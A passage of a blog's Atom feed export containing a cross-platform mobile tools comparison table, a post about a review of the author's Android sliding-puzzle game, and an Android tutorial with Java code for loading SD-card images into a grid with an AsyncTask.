style="mso-yfti-irow: 20;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;st1:city w:st="on"&gt;&lt;st1:place w:st="on"&gt;&lt;b&gt;Enterprise&lt;/b&gt;&lt;/st1:place&gt;&lt;/st1:city&gt;&lt;b&gt; Integration&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 21; mso-yfti-lastrow: yes;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Free&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X (only for   iPhone)&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X (if using GPL)&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;There will be a book that will come out on &lt;s&gt;April of 2010&lt;/s&gt;&amp;nbsp;August 31, 2010 entitled "&lt;a href="http://www.amazon.com/Pro-Smartphone-Cross-Platform-Development-Distribution/dp/1430228687/"&gt;Pro Smartphone Cross-Platform Development: iPhone, Blackberry, Windows Mobile and Android Development and Distribution&lt;/a&gt;", by Sarah Allen and Vidal Graupera, and which should offer valuable resource for anyone involved with cross-platform development.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Please drop me a message if you know of any other cross-platform tool(s) worth mentioning.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3281443491355735253?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3281443491355735253/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3281443491355735253' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3281443491355735253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3281443491355735253'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/12/cross-platform-mobile-development.html' title='Cross-Platform Mobile Development'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-6283385202606061203</id><published>2009-12-15T10:35:00.003-05:00</published><updated>2010-01-12T15:10:53.231-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sliding Puzzle'/><category scheme='http://www.blogger.com/atom/ns#' term='Android Market'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Sliding Puzzle Full - First Review</title><content type='html'>&lt;div style="text-align: justify;"&gt;I found the &lt;a href="http://www.brighthub.com/mobile/google-android/reviews/56435.aspx"&gt;first review&lt;/a&gt; of my Android game, Sliding Puzzle Full, review made for an older version (1.0.0). I am glad James enjoyed the game. From the review:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;span style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Sliding Puzzle Full v1.1.0 is a fun application that makes your photos take on a whole new life of their own. I liked the grid size option and the ability to choose a picture or create a new puzzle using my phones camera.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Arial, Helvetica; font-size: small;"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif;"&gt;The controls are overall simple to use, the touchscreen sliding mechanism is very functional and the program offers simple fun. If you're a puzzler fan you'll love this game&lt;/span&gt;.&lt;span style="font-family: 'Times New Roman'; font-size: medium;"&gt;"&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Some notes:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;- the game is available on Android Market, but it was built with version 1.6, hence some phones might not *see* it yet.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;- I will not update the slideme version of the game (which is 1.0.0). The newest version is 1.1.1 and can be found in&amp;nbsp;the&amp;nbsp;Android Market.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-6283385202606061203?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/6283385202606061203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=6283385202606061203' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6283385202606061203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6283385202606061203'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/12/sliding-puzzle-full-first-review.html' title='Sliding Puzzle Full - First Review'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3149305082771442880</id><published>2009-11-22T18:04:00.005-05:00</published><updated>2010-07-22T20:09:31.572-04:00</updated><title type='text'>Displaying Images from SD Card In Android - Part 2</title><content type='html'>&lt;div style="text-align: justify;"&gt;In one of my &lt;a href="http://mihaifonoage.blogspot.com/2009/09/displaying-images-from-sd-card-in.html"&gt;previous posts&lt;/a&gt;, I wrote about how to fetch and display images from the SD card. The &lt;i&gt;problem&lt;/i&gt; with the previous post is that one would have to wait until the first couple of images are available and shown on the screen. This implies that when the user wants to see the images, he will wait a couple of seconds until the first screen of images is available. The code that I'm going to post here works more like the Gallery application, meaning that one image at a time will be displayed on the screen. To&amp;nbsp;achieve&amp;nbsp;this &lt;i&gt;effect&lt;/i&gt;, I used an &lt;a href="http://developer.android.com/reference/android/os/AsyncTask.html"&gt;AsyncTask&lt;/a&gt;, which fetches one image at a time in the background, and adds that image to the grid view&amp;nbsp;during&amp;nbsp;the progress update.&lt;/div&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;package blog.android.sdcard2;&lt;br /&gt;&lt;br /&gt;import java.io.BufferedInputStream;&lt;br /&gt;import java.io.File;&lt;br /&gt;import java.io.FileInputStream;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;import java.util.ArrayList;&lt;br /&gt;&lt;br /&gt;import android.app.Activity;&lt;br /&gt;import android.content.Context;&lt;br /&gt;import android.database.Cursor;&lt;br /&gt;import android.graphics.Bitmap;&lt;br /&gt;import android.graphics.BitmapFactory;&lt;br /&gt;import android.graphics.drawable.BitmapDrawable;&lt;br /&gt;import android.net.Uri;&lt;br /&gt;import android.os.AsyncTask;&lt;br /&gt;import android.os.Bundle;&lt;br /&gt;import android.provider.MediaStore;&lt;br /&gt;import android.view.Display;&lt;br /&gt;import android.view.View;&lt;br /&gt;import android.view.ViewGroup;&lt;br /&gt;import android.view.Window;&lt;br /&gt;import android.view.WindowManager;&lt;br /&gt;import android.widget.AdapterView;&lt;br /&gt;import android.widget.BaseAdapter;&lt;br /&gt;import android.widget.GridView;&lt;br /&gt;import android.widget.ImageView;&lt;br /&gt;import android.widget.AdapterView.OnItemClickListener;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * Loads images from SD card. &lt;br /&gt; * &lt;br /&gt; * @author Mihai Fonoage&lt;br /&gt; *&lt;br /&gt; */&lt;br /&gt;public class LoadImagesFromSDCardActivity extends Activity implements&lt;br /&gt;OnItemClickListener {&lt;br /&gt;    &lt;br /&gt;    /**&lt;br /&gt;     * Grid view holding the images.&lt;br /&gt;     */&lt;br /&gt;    private GridView sdcardImages;&lt;br /&gt;    /**&lt;br /&gt;     * Image adapter for the grid view.&lt;br /&gt;     */&lt;br /&gt;    private ImageAdapter imageAdapter;&lt;br /&gt;    /**&lt;br /&gt;     * Display used for getting the width of the screen. &lt;br /&gt;     */&lt;br /&gt;    private Display display;&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Creates the content view, sets up the grid, the adapter, and the click listener.&lt;br /&gt;     * &lt;br /&gt;     * @see android.app.Activity#onCreate(android.os.Bundle)&lt;br /&gt;     */&lt;br /&gt;    @Override&lt;br /&gt;    public void onCreate(Bundle savedInstanceState) {&lt;br /&gt;        super.onCreate(savedInstanceState);        &lt;br /&gt;        // Request progress bar&lt;br /&gt;        requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);&lt;br /&gt;        setContentView(R.layout.sdcard);&lt;br /&gt;&lt;br /&gt;        display = ((WindowManager) getSystemService(Context.WINDOW_SERVICE)).getDefaultDisplay();&lt;br /&gt;&lt;br /&gt;        setupViews();&lt;br /&gt;        setProgressBarIndeterminateVisibility(true); &lt;br /&gt;        loadImages();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Free up bitmap related resources.&lt;br /&gt;     */&lt;br /&gt;    protected void onDestroy() {&lt;br /&gt;        super.onDestroy();&lt;br /&gt;        final GridView grid = sdcardImages;&lt;br /&gt;        final int count = grid.getChildCount();&lt;br /&gt;        ImageView v = null;&lt;br /&gt;        for (int i = 0; i &amp;lt; count; i++) {&lt;br /&gt;            v = (ImageView) grid.getChildAt(i);&lt;br /&gt;            ((BitmapDrawable) v.getDrawable()).setCallback(null);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    /**&lt;br /&gt;     * Setup the grid view.&lt;br /&gt;     */&lt;br /&gt;    private void setupViews() {&lt;br /&gt;        sdcardImages = (GridView) findViewById(R.id.sdcard);&lt;br /&gt;        sdcardImages.setNumColumns(display.getWidth()/95);&lt;br /&gt;        sdcardImages.setClipToPadding(false);&lt;br /&gt;        sdcardImages.setOnItemClickListener(LoadImagesFromSDCardActivity.this);&lt;br /&gt;        imageAdapter = new ImageAdapter(getApplicationContext()); &lt;br /&gt;        sdcardImages.setAdapter(imageAdapter);&lt;br /&gt;    }&lt;br /&gt;    /**&lt;br /&gt;     * Load images.&lt;br /&gt;     */&lt;br /&gt;    private void loadImages() {&lt;br /&gt;        final Object data = getLastNonConfigurationInstance();&lt;br /&gt;        if (data == null) {&lt;br /&gt;            new LoadImagesFromSDCard().execute();&lt;br /&gt;        } else {&lt;br /&gt;            final LoadedImage[] photos = (LoadedImage[]) data;&lt;br /&gt;            if (photos.length == 0) {&lt;br /&gt;                new LoadImagesFromSDCard().execute();&lt;br /&gt;            }&lt;br /&gt;            for (LoadedImage photo : photos) {&lt;br /&gt;                addImage(photo);&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    /**&lt;br /&gt;     * Add image(s) to the grid view adapter.&lt;br /&gt;     * &lt;br /&gt;     * @param value Array of LoadedImages references&lt;br /&gt;     */&lt;br /&gt;    private void addImage(LoadedImage... value) {&lt;br /&gt;        for (LoadedImage image : value) {&lt;br /&gt;            imageAdapter.addPhoto(image);&lt;br /&gt;            imageAdapter.notifyDataSetChanged();&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    /**&lt;br /&gt;     * Save bitmap images into a list and return that list. &lt;br /&gt;     * &lt;br /&gt;     * @see android.app.Activity#onRetainNonConfigurationInstance()&lt;br /&gt;     */&lt;br /&gt;    @Override&lt;br /&gt;    public Object onRetainNonConfigurationInstance() {&lt;br /&gt;        final GridView grid = sdcardImages;&lt;br /&gt;        final int count = grid.getChildCount();&lt;br /&gt;        final LoadedImage[] list = new LoadedImage[count];&lt;br /&gt;&lt;br /&gt;        for (int i = 0; i &amp;lt; count; i++) {&lt;br /&gt;            final ImageView v = (ImageView) grid.getChildAt(i);&lt;br /&gt;            list[i] = new LoadedImage(((BitmapDrawable) v.getDrawable()).getBitmap());&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        return list;&lt;br /&gt;    }&lt;br /&gt;    /**&lt;br /&gt;     * Async task for loading the images from the SD card. &lt;br /&gt;     * &lt;br /&gt;     * @author Mihai Fonoage&lt;br /&gt;     *&lt;br /&gt;     */&lt;br /&gt;    class LoadImagesFromSDCard extends AsyncTask&amp;lt;Object, LoadedImage, Object&amp;gt; {&lt;br /&gt;        &lt;br /&gt;        /**&lt;br /&gt;         * Load images from SD Card in the background, and display each image on the screen. &lt;br /&gt;         *  &lt;br /&gt;         * @see android.os.AsyncTask#doInBackground(Params[])&lt;br /&gt;         */&lt;br /&gt;        @Override&lt;br /&gt;        protected Object doInBackground(Object... params) {&lt;br /&gt;            //setProgressBarIndeterminateVisibility(true); &lt;br /&gt;            Bitmap bitmap = null;&lt;br /&gt;            Bitmap newBitmap = null;&lt;br /&gt;            Uri uri = null;            &lt;br /&gt;&lt;br /&gt;            // Set up an array of the Thumbnail Image ID column we want&lt;br /&gt;            String[] projection = {MediaStore.Images.Thumbnails._ID};&lt;br /&gt;            // Create the cursor pointing to the SDCard&lt;br /&gt;            Cursor cursor = managedQuery( MediaStore.Images.Thumbnails.EXTERNAL_CONTENT_URI,&lt;br /&gt;                    projection, // Which columns to return&lt;br /&gt;                    null,       // Return all rows&lt;br /&gt;                    null,       &lt;br /&gt;                    null); &lt;br /&gt;            int columnIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Thumbnails._ID);&lt;br /&gt;            int size = cursor.getCount();&lt;br /&gt;            // If size is 0, there are no images on the SD Card.&lt;br /&gt;            if (size == 0) {&lt;br /&gt;                //No Images available, post some message to the user&lt;br /&gt;            }&lt;br /&gt;            int imageID = 0;&lt;br /&gt;            for (int i = 0; i &amp;lt; size; i++) {&lt;br /&gt;                cursor.moveToPosition(i);&lt;br /&gt;                imageID = cursor.getInt(columnIndex);&lt;br /&gt;                uri = Uri.withAppendedPath(MediaStore.Images.Thumbnails.EXTERNAL_CONTENT_URI, "" + imageID);&lt;br /&gt;                try {&lt;br /&gt;                    bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));&lt;br /&gt;                    if (bitmap != null) {&lt;br /&gt;                        newBitmap = Bitmap.createScaledBitmap(bitmap, 70, 70, true);&lt;br /&gt;                        bitmap.recycle();&lt;br /&gt;                        if (newBitmap != null) {&lt;br /&gt;                            publishProgress(new LoadedImage(newBitmap));&lt;br /&gt;                        }&lt;br /&gt;                    }&lt;br /&gt;                } catch (IOException e) {&lt;br /&gt;                    //Error fetching image, try to recover&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            cursor.close();&lt;br /&gt;            return null;&lt;br /&gt;        }&lt;br /&gt;        /**&lt;br /&gt;         * Add a new LoadedImage in the images grid.&lt;br /&gt;         *&lt;br /&gt;         * @param value The image.&lt;br /&gt;         */&lt;br /&gt;        @Override&lt;br /&gt;        public void onProgressUpdate(LoadedImage... value) {&lt;br /&gt;            addImage(value);&lt;br /&gt;        }&lt;br /&gt;        /**&lt;br /&gt;         * Set the visibility of the progress bar to false.&lt;br /&gt;         * &lt;br /&gt;         * @see android.os.AsyncTask#onPostExecute(java.lang.Object)&lt;br /&gt;         */&lt;br /&gt;        @Override&lt;br /&gt;        protected void onPostExecute(Object result) {&lt;br /&gt;            setProgressBarIndeterminateVisibility(false);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Adapter for our image files. &lt;br /&gt;     * &lt;br /&gt;     * @author Mihai Fonoage&lt;br /&gt;     *&lt;br /&gt;     */&lt;br /&gt;    class ImageAdapter extends BaseAdapter {&lt;br /&gt;&lt;br /&gt;        private Context mContext; &lt;br /&gt;        private ArrayList&amp;lt;LoadedImage&amp;gt; photos = new ArrayList&amp;lt;LoadedImage&amp;gt;();&lt;br /&gt;&lt;br /&gt;        public ImageAdapter(Context context) { &lt;br /&gt;            mContext = context; &lt;br /&gt;        } &lt;br /&gt;&lt;br /&gt;        public void addPhoto(LoadedImage photo) { &lt;br /&gt;            photos.add(photo); &lt;br /&gt;        } &lt;br /&gt;&lt;br /&gt;        public int getCount() { &lt;br /&gt;            return photos.size(); &lt;br /&gt;        } &lt;br /&gt;&lt;br /&gt;        public Object getItem(int position) { &lt;br /&gt;            return photos.get(position); &lt;br /&gt;        } &lt;br /&gt;&lt;br /&gt;        public long getItemId(int position) { &lt;br /&gt;            return position; &lt;br /&gt;        } &lt;br /&gt;&lt;br /&gt;        public View getView(int position, View convertView, ViewGroup parent) { &lt;br /&gt;            final ImageView imageView; &lt;br /&gt;            if (convertView == null) { &lt;br /&gt;                imageView = new ImageView(mContext); &lt;br /&gt;            } else { &lt;br /&gt;                imageView = (ImageView) convertView; &lt;br /&gt;            } &lt;br /&gt;            imageView.setScaleType(ImageView.ScaleType.FIT_CENTER);&lt;br /&gt;            imageView.setPadding(8, 8, 8, 8);&lt;br /&gt;            imageView.setImageBitmap(photos.get(position).getBitmap());&lt;br /&gt;            return imageView; &lt;br /&gt;        } &lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * A LoadedImage contains the Bitmap loaded for the image.&lt;br /&gt;     */&lt;br /&gt;    private static class LoadedImage {&lt;br /&gt;        Bitmap mBitmap;&lt;br /&gt;&lt;br /&gt;        LoadedImage(Bitmap bitmap) {&lt;br /&gt;            mBitmap = bitmap;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        public Bitmap getBitmap() {&lt;br /&gt;            return mBitmap;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    /**&lt;br /&gt;     * When an image is clicked, load that image as a puzzle. &lt;br /&gt;     */&lt;br /&gt;    public void onItemClick(AdapterView&amp;lt;?&amp;gt; parent, View v, int position, long id) {        &lt;br /&gt;        int columnIndex = 0;&lt;br /&gt;        String[] projection = {MediaStore.Images.Media.DATA};&lt;br /&gt;        Cursor cursor = managedQuery( MediaStore.Images.Thumbnails.EXTERNAL_CONTENT_URI,&lt;br /&gt;                projection,&lt;br /&gt;                null, &lt;br /&gt;                null, &lt;br /&gt;                null);&lt;br /&gt;        if (cursor != null) {&lt;br /&gt;            columnIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA);&lt;br /&gt;            cursor.moveToPosition(position);&lt;br /&gt;            String imagePath = cursor.getString(columnIndex); &lt;br /&gt;&lt;br /&gt;            FileInputStream is = null;&lt;br /&gt;            BufferedInputStream bis = null;&lt;br /&gt;            try {&lt;br /&gt;                is = new FileInputStream(new File(imagePath));&lt;br /&gt;                bis = new BufferedInputStream(is);&lt;br /&gt;                Bitmap bitmap = BitmapFactory.decodeStream(bis);&lt;br /&gt;                Bitmap useThisBitmap = Bitmap.createScaledBitmap(bitmap, parent.getWidth(), parent.getHeight(), true);&lt;br /&gt;                bitmap.recycle();&lt;br /&gt;                //Display bitmap (useThisBitmap)&lt;br /&gt;            } &lt;br /&gt;            catch (Exception e) {&lt;br /&gt;                //Try to recover&lt;br /&gt;            }&lt;br /&gt;            finally {&lt;br /&gt;                try {&lt;br /&gt;                    if (bis != null) {&lt;br /&gt;                        bis.close();&lt;br /&gt;                    }&lt;br /&gt;                    if (is != null) {&lt;br /&gt;                        is.close();&lt;br /&gt;                    }&lt;br /&gt;                    cursor.close();&lt;br /&gt;                    projection = null;&lt;br /&gt;                } catch (Exception e) {&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The sdcard.xml file:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;&amp;lt;?xml version="1.0" 